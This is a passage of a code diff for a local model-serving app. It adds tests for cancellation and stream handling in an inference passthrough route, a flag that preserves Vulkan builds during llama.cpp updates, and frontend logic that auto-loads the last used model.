asyncio.run(_run()) + + def test_passthrough_non_streaming_route_registers_cancel_id(self, monkeypatch): + async def _run(): + import routes.inference as inf_mod + + class HangingCancelableClient: + def __init__(self): + self.started = asyncio.Event() + self.closed = asyncio.Event() + + async def post(self, *_args, **_kwargs): + self.started.set() + await self.closed.wait() + raise httpx.ReadError("client closed") + + async def aclose(self): + self.closed.set() + + class Request: + state = SimpleNamespace() + url = SimpleNamespace(path = "/v1/chat/completions") + method = "POST" + + async def is_disconnected(self): + return False + + cancel_id = "passthrough-nonstream-cancel-id" + client = HangingCancelableClient() + monitor = ApiMonitor(max_entries = 3) + monkeypatch.setattr(inf_mod, "api_monitor", monitor) + monkeypatch.setattr(inf_mod, "_cancelable_nonstreaming_client", lambda: client) + + def _plain(**_kwargs): + raise AssertionError("plain GGUF path should not be used") + + monkeypatch.setattr( + inf_mod, + "get_llama_cpp_backend", + lambda: SimpleNamespace( + is_loaded = True, + is_vision = False, + supports_tools = True, + _is_audio = False, + model_identifier = "test-gguf", + context_length = 4096, + base_url = "http://llama.test", + _request_reasoning_kwargs = lambda *_args, **_kwargs: None, + generate_chat_completion = _plain, + ), + ) + + payload = ChatCompletionRequest( + model = "default", + messages = [ChatMessage(role = "user", content = "hi")], + cancel_id = cancel_id, + tools = [ + { + "type": "function", + "function": { + "name": "lookup", + "parameters": {"type": "object", "properties": {}}, + }, + } + ], + ) + + task = asyncio.create_task( + openai_chat_completions( + payload, + request = Request(), + current_subject = "test", + ) + ) + await asyncio.wait_for(client.started.wait(), 0.2) + assert cancel_id in inf_mod._CANCEL_REGISTRY + assert inf_mod._cancel_by_cancel_id_or_stash(cancel_id) == 1 + + with pytest.raises(asyncio.CancelledError): + await asyncio.wait_for(task, 0.5) + + assert client.closed.is_set() + assert cancel_id not in inf_mod._CANCEL_REGISTRY + [entry] = monitor.snapshot() + assert entry["status"] == "cancelled" + assert monitor.active_count() == 0 + + asyncio.run(_run()) + + def test_passthrough_non_streaming_disconnect_closes_blocked_upstream_post(self, monkeypatch): + async def _run(): + import routes.inference as inf_mod + + class HangingCancelableClient: + def __init__(self): + self.started = asyncio.Event() + self.closed = asyncio.Event() + + async def post(self, *_args, **_kwargs): + self.started.set() + await self.closed.wait() + raise httpx.ReadError("client closed") + + async def aclose(self): + self.closed.set() + + class Request: + def __init__(self): + self.disconnected = False + + async def is_disconnected(self): + return self.disconnected + + client = HangingCancelableClient() + request = Request() + monitor = ApiMonitor(max_entries = 3) + monkeypatch.setattr(inf_mod, "api_monitor", monitor) + monkeypatch.setattr( + inf_mod, + "_cancelable_nonstreaming_client", + lambda: client, + ) + monitor_id = monitor.start( + endpoint = "/v1/chat/completions", + method = "POST", + model = "gguf", + prompt = "hi", + ) + cancel_event = threading.Event() + payload = ChatCompletionRequest( + model = "default", + messages = [ChatMessage(role = "user", content = "hi")], + tools = [ + { + "type": "function", + "function": { + "name": "lookup", + "parameters": {"type": "object", "properties": {}}, + }, + } + ], + ) + + task = asyncio.create_task( + _openai_passthrough_non_streaming( + SimpleNamespace( + base_url = "http://llama.test", + context_length = 4096, + _request_reasoning_kwargs = lambda *_args, **_kwargs: None, + ), + payload, + "gguf", + monitor_id = monitor_id, + request = request, + cancel_event = cancel_event, + ) + ) + await asyncio.wait_for(client.started.wait(), 0.2) + request.disconnected = True + + with pytest.raises(asyncio.CancelledError): + await asyncio.wait_for(task, 0.5) + + assert client.closed.is_set() + assert cancel_event.is_set() + [entry] = monitor.snapshot() + assert entry["status"] == "cancelled" + assert monitor.active_count() == 0 + + asyncio.run(_run()) + + def test_passthrough_non_streaming_forwards_backend_auth_headers(self, monkeypatch): + async def _run(): + import routes.inference as inf_mod + + captured = {} + + class FakeNonStreamingClient: + async def post(self, *_args, **kwargs): + captured["headers"] = kwargs.get("headers") + return httpx.Response( + 200, + json = { + "id": "chatcmpl-test", + "object": "chat.completion", + "created": 123, + "model": "gguf", + "choices": [ + { + "index": 0, + "message": {"role": "assistant", "content": "OK"}, + "finish_reason": "stop", + } + ], + }, + ) + + monitor = ApiMonitor(max_entries = 3) + monitor_id = monitor.start( + endpoint = "/v1/chat/completions", + method = "POST", + model = "gguf", + prompt = "hi", + ) + monkeypatch.setattr(inf_mod, "api_monitor", monitor) + monkeypatch.setattr( + inf_mod, + "nonstreaming_client", + lambda: FakeNonStreamingClient(), + ) + payload = ChatCompletionRequest( + model = "default", + messages = [ChatMessage(role = "user", content = "hi")], + tools = [ + { + "type": "function", + "function": { + "name": "lookup", + "parameters": {"type": "object", "properties": {}}, + }, + } + ], + ) + + response = await _openai_passthrough_non_streaming( + SimpleNamespace( + base_url = "http://llama.test", + context_length = 4096, + _auth_headers = {"Authorization": "Bearer secret"}, + _request_reasoning_kwargs = lambda *_args, **_kwargs: None, + ), + payload, + "gguf", + monitor_id = monitor_id, + ) + + assert json.loads(response.body)["choices"][0]["message"]["content"] == "OK" + assert captured["headers"]["Authorization"] == "Bearer secret" + assert captured["headers"]["Connection"] == "close" + + asyncio.run(_run()) + + def test_passthrough_non_streaming_forces_upstream_stream_false(self, monkeypatch): + async def _run(): + import routes.inference as inf_mod + + captured = {} + + class FakeNonStreamingClient: + async def __aenter__(self): + return self + + async def __aexit__(self, *_args): + return False + + async def post(self, *_args, **kwargs): + captured["json"] = kwargs.get("json") + return httpx.Response( + 200, + json = { + "id": "chatcmpl-test", + "object": "chat.completion", + "created": 123, + "model": "gguf", + "choices": [ + { + "index": 0, + "message": {"role": "assistant", "content": "OK"}, + "finish_reason": "stop", + } + ], + "usage": { + "prompt_tokens": 1, + "completion_tokens": 1, + "total_tokens": 2, + }, + }, + ) + + monitor = ApiMonitor(max_entries = 3) + monkeypatch.setattr(inf_mod, "api_monitor", monitor) + monkeypatch.setattr( + inf_mod, + "nonstreaming_client", + lambda: FakeNonStreamingClient(), + ) + monitor_id = monitor.start( + endpoint = "/v1/chat/completions", + method = "POST", + model = "gguf", + prompt = "hi", + ) + payload = ChatCompletionRequest( + model = "default", + messages = [ChatMessage(role = "user", content = "hi")], + stream = True, + stream_options = {"include_usage": True}, + tools = [ + { + "type": "function", + "function": { + "name": "lookup", + "parameters": {"type": "object", "properties": {}}, + }, + } + ], + ) + + await _openai_passthrough_non_streaming( + SimpleNamespace( + base_url = "http://llama.test", + context_length = 4096, + _request_reasoning_kwargs = lambda *_args, **_kwargs: None, + ), + payload, + "gguf", + monitor_id = monitor_id, + ) + + assert captured["json"]["stream"] is False + assert "stream_options" not in captured["json"] + [entry] = monitor.snapshot() + assert entry["status"] == "completed" + + asyncio.run(_run()) + def test_passthrough_clean_eof_finalizes_monitor(self, monkeypatch): async def _run(): result = await self._run_passthrough_stream( @@ -3009,6 +4668,216 @@ class TestApiMonitorProviderAndCompletionStreams: asyncio.run(_run()) + def test_passthrough_finish_without_done_closes_stream_early(self, monkeypatch): + # Some llama-server builds emit the finish chunk and then hold the HTTP + # stream open without sending [DONE]; the terminal classifier must end + # the client stream promptly instead of hanging on the open socket. + async def _run(): + import routes.inference as inf_mod + + class Request: + async def is_disconnected(self): + return False + + async def fake_send(*_args, **_kwargs): + return httpx.Response(200, content = b"") + + async def fake_items(*_args, **_kwargs): + yield 'data: {"choices":[{"index":0,"delta":{"content":"hi"},"finish_reason":null}]}' + yield 'data: {"choices":[{"index":0,"delta":{},"finish_reason":"stop"}]}' + await asyncio.Event().wait() # upstream never closes + + monitor = ApiMonitor(max_entries = 3) + monkeypatch.setattr(inf_mod, "api_monitor", monitor) + monkeypatch.setattr(inf_mod, "_send_stream_with_preheader_cancel", fake_send) + monkeypatch.setattr(inf_mod, "_aiter_llama_stream_items", fake_items) + monitor_id = monitor.start( + endpoint = "/v1/chat/completions", + method = "POST", + model = "gguf", + prompt = "hi", + ) + payload = ChatCompletionRequest( + model = "default", + messages = [ChatMessage(role = "user", content = "hi")], + stream = True, + tools = [ + { + "type": "function", + "function": { + "name": "lookup", + "parameters": {"type": "object", "properties": {}}, + }, + } + ], + ) + + response = await _openai_passthrough_stream( + Request(), + threading.Event(), + SimpleNamespace( + base_url = "http://llama.test", + context_length = 4096, + _request_reasoning_kwargs = lambda *_args, **_kwargs: None, + ), + payload, + "gguf", + "chatcmpl-test", + monitor_id = monitor_id, + ) + + async def _consume(): + return [chunk async for chunk in response.body_iterator] + + chunks = await asyncio.wait_for(_consume(), timeout = 2) + body = "".join(chunks) + + assert '"finish_reason":"stop"' in body.replace(" ", "") + assert body.endswith("data: [DONE]\n\n") + [entry] = monitor.snapshot() + assert entry["status"] == "completed" + assert monitor.active_count() == 0 + + asyncio.run(_run()) + + def test_passthrough_stall_after_finish_closes_cleanly(self, monkeypatch): + # include_usage keeps the stream open past the finish chunk waiting for + # the usage chunk; if that never arrives, the post-terminal grace path + # must close with a clean [DONE], not an in-band error. + async def _run(): + import routes.inference as inf_mod + + class Request: + async def is_disconnected(self): + return False + + async def fake_send(*_args, **_kwargs): + return httpx.Response(200, content = b"") + + async def fake_items(*_args, **_kwargs): + yield 'data: {"choices":[{"index":0,"delta":{"content":"hi"},"finish_reason":null}]}' + yield 'data: {"choices":[{"index":0,"delta":{},"finish_reason":"stop"}]}' + raise httpx.ReadTimeout("usage chunk never arrived") + + monitor = ApiMonitor(max_entries = 3) + monkeypatch.setattr(inf_mod, "api_monitor", monitor) + monkeypatch.setattr(inf_mod, "_send_stream_with_preheader_cancel", fake_send) + monkeypatch.setattr(inf_mod, "_aiter_llama_stream_items", fake_items) + monitor_id = monitor.start( + endpoint = "/v1/chat/completions", + method = "POST", + model = "gguf", + prompt = "hi", + ) + payload = ChatCompletionRequest( + model = "default", + messages = [ChatMessage(role = "user", content = "hi")], + stream = True, + stream_options = {"include_usage": True}, + tools = [ + { + "type": "function", + "function": { + "name": "lookup", + "parameters": {"type": "object", "properties": {}}, + }, + } + ], + ) + + response = await _openai_passthrough_stream( + Request(), + threading.Event(), + SimpleNamespace( + base_url = "http://llama.test", + context_length = 4096, + _request_reasoning_kwargs = lambda *_args, **_kwargs: None, + ), + payload, + "gguf", + "chatcmpl-test", + monitor_id = monitor_id, + ) + chunks = [chunk async for chunk in response.body_iterator] + body = "".join(chunks) + + assert '"type":"api_error"' not in body.replace(" ", "") + assert body.endswith("data: [DONE]\n\n") + [entry] = monitor.snapshot() + assert entry["status"] == "completed" + assert monitor.active_count() == 0 + + asyncio.run(_run()) + + def test_passthrough_stream_stall_after_data_emits_error(self, monkeypatch): + async def _run(): + import routes.inference as inf_mod + + class Request: + async def is_disconnected(self): + return False + + async def fake_send(*_args, **_kwargs): + return httpx.Response(200, content = b"") + + async def fake_items(*_args, **_kwargs): + yield 'data: {"choices":[{"delta":{"content":"hello"}}]}' + raise httpx.ReadTimeout("upstream went silent") + + monitor = ApiMonitor(max_entries = 3) + monkeypatch.setattr(inf_mod, "api_monitor", monitor) + monkeypatch.setattr(inf_mod, "_send_stream_with_preheader_cancel", fake_send) + monkeypatch.setattr(inf_mod, "_aiter_llama_stream_items", fake_items) + monitor_id = monitor.start( + endpoint = "/v1/chat/completions", + method = "POST", + model = "gguf", + prompt = "hi", + ) + payload = ChatCompletionRequest( + model = "default", + messages = [ChatMessage(role = "user", content = "hi")], + stream = True, + tools = [ + { + "type": "function", + "function": { + "name": "lookup", + "parameters": {"type": "object", "properties": {}}, + }, + } + ], + ) + + response = await _openai_passthrough_stream( + Request(), + threading.Event(), + SimpleNamespace( + base_url = "http://llama.test", + context_length = 4096, + _request_reasoning_kwargs = lambda *_args, **_kwargs: None, + ), + payload, + "gguf", + "chatcmpl-test", + monitor_id = monitor_id, + ) + chunks = [chunk async for chunk in response.body_iterator] + body = "".join(chunks) + + assert 'data: {"choices":[{"delta":{"content":"hello"}}]}\n\n' in body + assert '"finish_reason"' not in body.replace(" ", "") + assert '"type":"api_error"' in body.replace(" ", "") + assert "still processing the prompt" in body + assert body.endswith("data: [DONE]\n\n") + [entry] = monitor.snapshot() + assert entry["status"] == "error" + assert "still processing the prompt" in entry["error"] + assert entry["reply"] == "hello" + assert monitor.active_count() == 0 + + asyncio.run(_run()) + class TestApiMonitorSafetensorsUsage: class _Request: diff --git a/studio/backend/tests/test_passthrough_healing.py b/studio/backend/tests/test_passthrough_healing.py index 83bcc5864a..9b22ab8b05 100644 --- a/studio/backend/tests/test_passthrough_healing.py +++ b/studio/backend/tests/test_passthrough_healing.py @@ -515,6 +515,7 @@ class ScriptedClient: _url, json = None, timeout = None, + headers = None, ): self.posts.append(json) return httpx.Response(200, json = self.bodies[min(len(self.posts) - 1, len(self.bodies) - 1)]) diff --git a/studio/backend/utils/llama_cpp_update.py b/studio/backend/utils/llama_cpp_update.py index c16ae91467..1bcbfbf95a 100644 --- a/studio/backend/utils/llama_cpp_update.py +++ b/studio/backend/utils/llama_cpp_update.py @@ -514,6 +514,12 @@ def _run_update(install_dir: Path, repo: str, asset: Optional[str], script: Path logger.info("llama update: installing", cmd = " ".join(cmd)) # Stream progress lines into job["progress"]. env = dict(os.environ, UNSLOTH_PROGRESS_PERCENT_STEP = "5") + # Preserve a Vulkan install across updates: detect_host on a CUDA/ROCm + # box would otherwise re-route and silently replace the Vulkan build. + # Re-assert it via the same env flag setup uses (mirrors + # _rocm_install_args). + if asset and "vulkan" in asset.lower(): + env["UNSLOTH_FORCE_VULKAN"] = "1" proc = subprocess.Popen( cmd, stdout = subprocess.PIPE, diff --git a/studio/frontend/src/features/chat/api/chat-adapter.ts b/studio/frontend/src/features/chat/api/chat-adapter.ts index 2ca6ceddf7..ca062bf93c 100644 --- a/studio/frontend/src/features/chat/api/chat-adapter.ts +++ b/studio/frontend/src/features/chat/api/chat-adapter.ts @@ -2,6 +2,10 @@ // Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0 import { getAuthToken } from "@/features/auth"; +import { + loadRememberedLoadSettings, + rememberedLoadSettingsKey, +} from "@/components/assistant-ui/model-selector/remembered-load-settings"; import { projectHasSources } from "@/features/rag/api/rag-api"; import { apiUrl } from "@/lib/api-base"; import { parseParamCountB } from "@/lib/model-size"; @@ -63,11 +67,17 @@ import { listStoredChatThreads, updateStoredChatThread, } from "../utils/chat-history-storage"; +import { + readLastLocalModelLoad, + recordLastLocalModelLoad, + type LastLocalModelKind, +} from "../utils/last-local-model-load"; import { getImageInputUnavailableReason } from "../utils/image-input-support"; import { hasClosedThinkTag, parseAssistantContent, } from "../utils/parse-assistant-content"; +import { resolveLoadMaxSeqLength } from "../presets/preset-policy"; import { generateAudio, listCachedGguf, @@ -1309,6 +1319,30 @@ const BIG_ENDIAN_GGUF_FILENAME_RE = /(^|[-_])be(?:[._-]|$)/gi; const GGUF_KNOWN_QUANT_RE = /(UD-)?(MXFP[0-9]+(?:_[A-Z0-9]+)*|IQ[0-9]+_[A-Z]+(?:_[A-Z0-9]+)?|TQ[0-9]+_[0-9]+|Q[0-9]+_K_[A-Z]+|Q[0-9]+_[0-9]+|Q[0-9]+_K|BF16|F16|F32)/i; +type AutoLoadCandidate = { + id: string; + kind: LastLocalModelKind; + ggufVariant: string | null; + maxSeqLength: number; + successLabel: string; +}; + +function autoLoadCandidateKey( + kind: LastLocalModelKind, + id: string, + ggufVariant?: string | null, +): string { + return `${kind}:${id.toLowerCase()}:${(ggufVariant ?? "").toLowerCase()}`; +} + +function findCachedRepo( + repos: T[], + id: string, +): T | undefined { + const normalized = id.toLowerCase(); + return repos.find((repo) => repo.repo_id.toLowerCase() === normalized); +} + function hasBigEndianGgufMarker(filename: string, quant?: string | null): boolean { const normalized = filename.replace(/\\/g, "/").toLowerCase(); const separatorIndex = normalized.lastIndexOf("/"); @@ -1357,14 +1391,18 @@ async function autoLoadSmallestModel(): Promise<{ const hfToken = store.hfToken || null; const trustRemoteCode = store.params.trustRemoteCode ?? false; const specSettings = resolveSpeculativeSettingsForLoad(); + const lastLoaded = readLastLocalModelLoad(); const toastId = toast("Loading a model…", { - description: "Auto-selecting the smallest downloaded model.", + description: lastLoaded + ? "Loading last used model." + : "Auto-selecting the smallest downloaded model.", duration: 5000, closeButton: true, }); let blockedByTrustRemoteCode = false; let hadNonTrustFailure = false; let loadAttempts = 0; + const skippedAutoLoadCandidates = new Set(); async function canAutoLoad(payload: { model_path: string; @@ -1389,12 +1427,224 @@ async function autoLoadSmallestModel(): Promise<{ } return true; } + + async function loadAutoLoadCandidate( + candidate: AutoLoadCandidate, + ): Promise { + if (loadAttempts >= MAX_AUTO_LOAD_ATTEMPTS) { + return false; + } + const currentStore = useChatRuntimeStore.getState(); + const remembered = loadRememberedLoadSettings( + rememberedLoadSettingsKey({ + id: candidate.id, + ggufVariant: candidate.ggufVariant, + }), + ); + const effectiveMaxSeqLength = resolveLoadMaxSeqLength({ + modelId: candidate.id, + ggufVariant: candidate.ggufVariant, + isGguf: candidate.kind === "gguf", + customContextLength: remembered?.contextLength ?? null, + ggufContextLength: null, + currentCheckpoint: currentStore.params.checkpoint, + activeGgufVariant: currentStore.activeGgufVariant, + maxSeqLength: candidate.maxSeqLength, + presetSource: currentStore.activePresetSource, + }); + const effectiveSpeculativeType = + remembered?.speculativeType ?? specSettings.speculativeType; + const effectiveSpecDraftNMax = + remembered?.specDraftNMax ?? specSettings.specDraftNMax; + if ( + !(await canAutoLoad({ + model_path: candidate.id, + max_seq_length: effectiveMaxSeqLength, + is_lora: false, + gguf_variant: candidate.ggufVariant, + })) + ) { + skippedAutoLoadCandidates.add( + autoLoadCandidateKey(candidate.kind, candidate.id, candidate.ggufVariant), + ); + return false; + } + loadAttempts += 1; + const loadResp = await loadModel({ + model_path: candidate.id, + hf_token: hfToken, + max_seq_length: effectiveMaxSeqLength, + load_in_4bit: true, + is_lora: false, + gguf_variant: candidate.ggufVariant, + trust_remote_code: trustRemoteCode, + cache_type_kv: remembered?.kvCacheDtype ?? null, + speculative_type: effectiveSpeculativeType, + spec_draft_n_max: effectiveSpecDraftNMax, + tensor_parallel: remembered?.tensorParallel ?? false, + }); + saveSpeculativeType(effectiveSpeculativeType); + useChatRuntimeStore + .getState() + .setCheckpoint(candidate.id, candidate.ggufVariant ?? undefined); + const store = useChatRuntimeStore.getState(); + store.setModelRequiresTrustRemoteCode( + loadResp.requires_trust_remote_code ?? false, + ); + store.setParams({ + ...store.params, + maxTokens: + candidate.kind === "gguf" + ? loadResp.context_length ?? 131072 + : effectiveMaxSeqLength, + }); + const autoModel: ChatModelSummary = { + id: candidate.id, + name: loadResp.display_name ?? candidate.id, + isVision: loadResp.is_vision ?? false, + isLora: loadResp.is_lora ?? false, + isGguf: loadResp.is_gguf ?? candidate.kind === "gguf", + isAudio: loadResp.is_audio ?? false, + audioType: loadResp.audio_type ?? null, + hasAudioInput: loadResp.has_audio_input ?? false, + }; + if (!store.models.some((m) => m.id === candidate.id)) { + store.setModels([...store.models, autoModel]); + } + if (candidate.kind === "gguf") { + useChatRuntimeStore.setState({ + ggufContextLength: loadResp.context_length ?? 131072, + ggufMaxContextLength: + loadResp.max_context_length ?? loadResp.context_length ?? 131072, + ggufNativeContextLength: loadResp.native_context_length ?? null, + supportsReasoning: loadResp.supports_reasoning ?? false, + reasoningAlwaysOn: loadResp.reasoning_always_on ?? false, + reasoningEnabled: loadResp.supports_reasoning ?? false, + ...reasoningCapsFromLoad(loadResp), + supportsPreserveThinking: loadResp.supports_preserve_thinking ?? false, + supportsTools: loadResp.supports_tools ?? false, + ...resolveToolsEnabledOnLoad(loadResp.supports_tools ?? false), + kvCacheDtype: loadResp.cache_type_kv ?? null, + loadedKvCacheDtype: loadResp.cache_type_kv ?? null, + tensorParallel: loadResp.tensor_parallel ?? false, + loadedTensorParallel: loadResp.tensor_parallel ?? false, + defaultChatTemplate: loadResp.chat_template ?? null, + chatTemplateOverride: null, + loadedChatTemplateOverride: null, + loadedIsMultimodal: isMultimodalResponse(loadResp), + loadedIsDiffusion: loadResp.is_diffusion ?? false, + ...resolveLoadedSpeculativeSettings(loadResp), + }); + } else { + useChatRuntimeStore.setState({ + supportsReasoning: loadResp.supports_reasoning ?? false, + reasoningAlwaysOn: loadResp.reasoning_always_on ?? false, + reasoningEnabled: loadResp.supports_reasoning ?? false, + ...reasoningCapsFromLoad(loadResp), + supportsPreserveThinking: loadResp.supports_preserve_thinking ?? false, + supportsTools: loadResp.supports_tools ?? false, + ...resolveToolsEnabledOnLoad(loadResp.supports_tools ?? false), + kvCacheDtype: loadResp.cache_type_kv ?? null, + loadedKvCacheDtype: loadResp.cache_type_kv ?? null, + tensorParallel: loadResp.tensor_parallel ?? false, + loadedTensorParallel: loadResp.tensor_parallel ?? false, + defaultChatTemplate: loadResp.chat_template ?? null, + chatTemplateOverride: null, + loadedChatTemplateOverride: null, + ...resolveLoadedSpeculativeSettings(loadResp), + loadedIsMultimodal: isMultimodalResponse(loadResp), + loadedIsDiffusion: loadResp.is_diffusion ?? false, + }); + } + if (!(loadResp.is_lora ?? false)) { + recordLastLocalModelLoad({ + id: candidate.id, + kind: candidate.kind, + ggufVariant: candidate.ggufVariant, + }); + } + toast.success(candidate.successLabel, { id: toastId }); + return true; + } try { const [ggufRepos, modelRepos] = await Promise.all([ listCachedGguf().catch(() => []), listCachedModels().catch(() => []), ]); + if (lastLoaded) { + if (lastLoaded.kind === "gguf") { + const repo = findCachedRepo(ggufRepos, lastLoaded.id); + if (repo && lastLoaded.ggufVariant) { + try { + const variants = await listGgufVariants(repo.repo_id); + const variant = variants.variants.find( + (entry) => + entry.downloaded && + entry.quant?.toLowerCase() === + lastLoaded.ggufVariant?.toLowerCase() && + isAutoLoadableGgufVariant(entry), + ); + if (variant) { + toast("Loading last used model…", { + id: toastId, + description: `${repo.repo_id} (${variant.quant})`, + duration: 5000, + }); + if ( + await loadAutoLoadCandidate({ + id: repo.repo_id, + kind: "gguf", + ggufVariant: variant.quant, + maxSeqLength: 0, + successLabel: `Loaded ${repo.repo_id} (${variant.quant})`, + }) + ) { + return { loaded: true, blockedByTrustRemoteCode: false }; + } + } + } catch { + hadNonTrustFailure = true; + skippedAutoLoadCandidates.add( + autoLoadCandidateKey("gguf", repo.repo_id, lastLoaded.ggufVariant), + ); + } + } + } else { + const repo = findCachedRepo(modelRepos, lastLoaded.id); + if (repo) { + try { + toast("Loading last used model…", { + id: toastId, + description: repo.repo_id, + duration: 5000, + }); + if ( + await loadAutoLoadCandidate({ + id: repo.repo_id, + kind: "model", + ggufVariant: null, + maxSeqLength: store.params.maxSeqLength, + successLabel: `Loaded ${repo.repo_id}`, + }) + ) { + return { loaded: true, blockedByTrustRemoteCode: false }; + } + } catch { + hadNonTrustFailure = true; + skippedAutoLoadCandidates.add( + autoLoadCandidateKey("model", repo.repo_id), + ); + } + } + } + toast("Loading a model…", { + id: toastId, + description: "Auto-selecting the smallest downloaded model.", + duration: 5000, + }); + } + // GGUF first: smallest-total-size repo, then its smallest variant. if (ggufRepos.length > 0) { const sorted = [...ggufRepos].sort((a, b) => a.size_bytes - b.size_bytes); @@ -1408,82 +1658,23 @@ async function autoLoadSmallestModel(): Promise<{ if (downloaded.length > 0) { const variant = downloaded[0]; if ( - !(await canAutoLoad({ - model_path: repo.repo_id, - max_seq_length: 0, - is_lora: false, - gguf_variant: variant.quant, - })) + skippedAutoLoadCandidates.has( + autoLoadCandidateKey("gguf", repo.repo_id, variant.quant), + ) ) { continue; } - loadAttempts += 1; - const loadResp = await loadModel({ - model_path: repo.repo_id, - hf_token: hfToken, - max_seq_length: 0, - load_in_4bit: true, - is_lora: false, - gguf_variant: variant.quant, - trust_remote_code: trustRemoteCode, - speculative_type: specSettings.speculativeType, - spec_draft_n_max: specSettings.specDraftNMax, - }); - saveSpeculativeType(specSettings.speculativeType); - useChatRuntimeStore - .getState() - .setCheckpoint(repo.repo_id, variant.quant); - const store = useChatRuntimeStore.getState(); - store.setModelRequiresTrustRemoteCode( - loadResp.requires_trust_remote_code ?? false, - ); - store.setParams({ - ...store.params, - maxTokens: loadResp.context_length ?? 131072, - }); - // Add to store so the selector shows the name. - const autoModel: ChatModelSummary = { - id: repo.repo_id, - name: loadResp.display_name ?? repo.repo_id, - isVision: loadResp.is_vision ?? false, - isLora: loadResp.is_lora ?? false, - isGguf: loadResp.is_gguf ?? false, - isAudio: loadResp.is_audio ?? false, - audioType: loadResp.audio_type ?? null, - hasAudioInput: loadResp.has_audio_input ?? false, - }; - const existingModels = store.models; - if (!existingModels.some((m) => m.id === repo.repo_id)) { - store.setModels([...existingModels, autoModel]); + if ( + await loadAutoLoadCandidate({ + id: repo.repo_id, + kind: "gguf", + ggufVariant: variant.quant, + maxSeqLength: 0, + successLabel: `Loaded ${repo.repo_id} (${variant.quant})`, + }) + ) { + return { loaded: true, blockedByTrustRemoteCode: false }; } - useChatRuntimeStore.setState({ - ggufContextLength: loadResp.context_length ?? 131072, - ggufMaxContextLength: - loadResp.max_context_length ?? - loadResp.context_length ?? - 131072, - supportsReasoning: loadResp.supports_reasoning ?? false, - reasoningAlwaysOn: loadResp.reasoning_always_on ?? false, - reasoningEnabled: loadResp.supports_reasoning ?? false, - ...reasoningCapsFromLoad(loadResp), - supportsPreserveThinking: - loadResp.supports_preserve_thinking ?? false, - supportsTools: loadResp.supports_tools ?? false, - ...resolveToolsEnabledOnLoad(loadResp.supports_tools ?? false), - kvCacheDtype: loadResp.cache_type_kv ?? null, - loadedKvCacheDtype: loadResp.cache_type_kv ?? null, - tensorParallel: loadResp.tensor_parallel ?? false, - loadedTensorParallel: loadResp.tensor_parallel ?? false, - defaultChatTemplate: loadResp.chat_template ?? null, - chatTemplateOverride: null, - loadedChatTemplateOverride: null, - loadedIsMultimodal: isMultimodalResponse(loadResp), - ...resolveLoadedSpeculativeSettings(loadResp), - }); - toast.success(`Loaded ${repo.repo_id} (${variant.quant})`, { - id: toastId, - }); - return { loaded: true, blockedByTrustRemoteCode: false }; } } catch { hadNonTrustFailure = true; @@ -1501,64 +1692,23 @@ async function autoLoadSmallestModel(): Promise<{ if (loadAttempts >= MAX_AUTO_LOAD_ATTEMPTS) break; try { if ( - !(await canAutoLoad({ - model_path: repo.repo_id, - max_seq_length: 4096, - is_lora: false, - gguf_variant: null, - })) + skippedAutoLoadCandidates.has( + autoLoadCandidateKey("model", repo.repo_id), + ) ) { continue; } - loadAttempts += 1; - const sfLoadResp = await loadModel({ - model_path: repo.repo_id, - hf_token: hfToken, - max_seq_length: 4096, - load_in_4bit: true, - is_lora: false, - gguf_variant: null, - trust_remote_code: trustRemoteCode, - speculative_type: specSettings.speculativeType, - spec_draft_n_max: specSettings.specDraftNMax, - }); - saveSpeculativeType(specSettings.speculativeType); - useChatRuntimeStore.getState().setCheckpoint(repo.repo_id); - const store = useChatRuntimeStore.getState(); - store.setModelRequiresTrustRemoteCode( - sfLoadResp.requires_trust_remote_code ?? false, - ); - store.setParams({ ...store.params, maxTokens: 4096 }); - useChatRuntimeStore.setState({ - supportsReasoning: sfLoadResp.supports_reasoning ?? false, - reasoningAlwaysOn: sfLoadResp.reasoning_always_on ?? false, - reasoningEnabled: sfLoadResp.supports_reasoning ?? false, - ...reasoningCapsFromLoad(sfLoadResp), - supportsPreserveThinking: - sfLoadResp.supports_preserve_thinking ?? false, - supportsTools: sfLoadResp.supports_tools ?? false, - // Parity with the GGUF branch above. - ...resolveToolsEnabledOnLoad(sfLoadResp.supports_tools ?? false), - defaultChatTemplate: sfLoadResp.chat_template ?? null, - chatTemplateOverride: null, - loadedChatTemplateOverride: null, - ...resolveLoadedSpeculativeSettings(sfLoadResp), - }); - const sfModel: ChatModelSummary = { - id: repo.repo_id, - name: sfLoadResp.display_name ?? repo.repo_id, - isVision: sfLoadResp.is_vision ?? false, - isLora: sfLoadResp.is_lora ?? false, - isGguf: sfLoadResp.is_gguf ?? false, - }; - if (!store.models.some((m) => m.id === repo.repo_id)) { - store.setModels([...store.models, sfModel]); + if ( + await loadAutoLoadCandidate({ + id: repo.repo_id, + kind: "model", + ggufVariant: null, + maxSeqLength: 4096, + successLabel: `Loaded ${repo.repo_id}`, + }) + ) { + return { loaded: true, blockedByTrustRemoteCode: false }; } - useChatRuntimeStore.setState({ - loadedIsMultimodal: isMultimodalResponse(sfLoadResp), - }); - toast.success(`Loaded ${repo.repo_id}`, { id: toastId }); - return { loaded: true, blockedByTrustRemoteCode: false }; } catch { hadNonTrustFailure = true; continue; @@ -1650,6 +1800,11 @@ async function autoLoadSmallestModel(): Promise<{ loadedIsMultimodal: isMultimodalResponse(loadResp), ...resolveLoadedSpeculativeSettings(loadResp), }); + recordLastLocalModelLoad({ + id: "unsloth/Qwen3.5-4B-MTP-GGUF", + kind: "gguf", + ggufVariant: "UD-Q4_K_XL", + }); toast.success("Loaded Qwen3.5-4B-MTP (UD-Q4_K_XL)", { id: toastId }); return { loaded: true, blockedByTrustRemoteCode: false }; } catch { diff --git a/studio/frontend/src/features/chat/hooks/use-chat-model-runtime.ts b/studio/frontend/src/features/chat/hooks/use-chat-model-runtime.ts index 798c1658f9..0a4342f208 100644 --- a/studio/frontend/src/features/chat/hooks/use-chat-model-runtime.ts +++ b/studio/frontend/src/features/chat/hooks/use-chat-model-runtime.ts @@ -44,6 +44,7 @@ import { mergeBackendRecommendedInference, resolveLoadMaxSeqLength, } from "../presets/preset-policy"; +import { recordLastLocalModelLoad } from "../utils/last-local-model-load"; import { isMultimodalResponse, } from "../types/api"; @@ -818,6 +819,23 @@ export function useChatModelRuntime() { } } await refresh({ signal: abortCtrl.signal }); + if ( + !isLora && + !(loadResponse.is_lora ?? false) && + !nativePathToken && + !isLocalModelPath(modelId) && + !isExternalModelId(modelId) + ) { + if (loadResponse.is_gguf || isGguf || ggufVariant) { + recordLastLocalModelLoad({ + id: modelId, + kind: "gguf", + ggufVariant: ggufVariant ?? null, + }); + } else { + recordLastLocalModelLoad({ id: 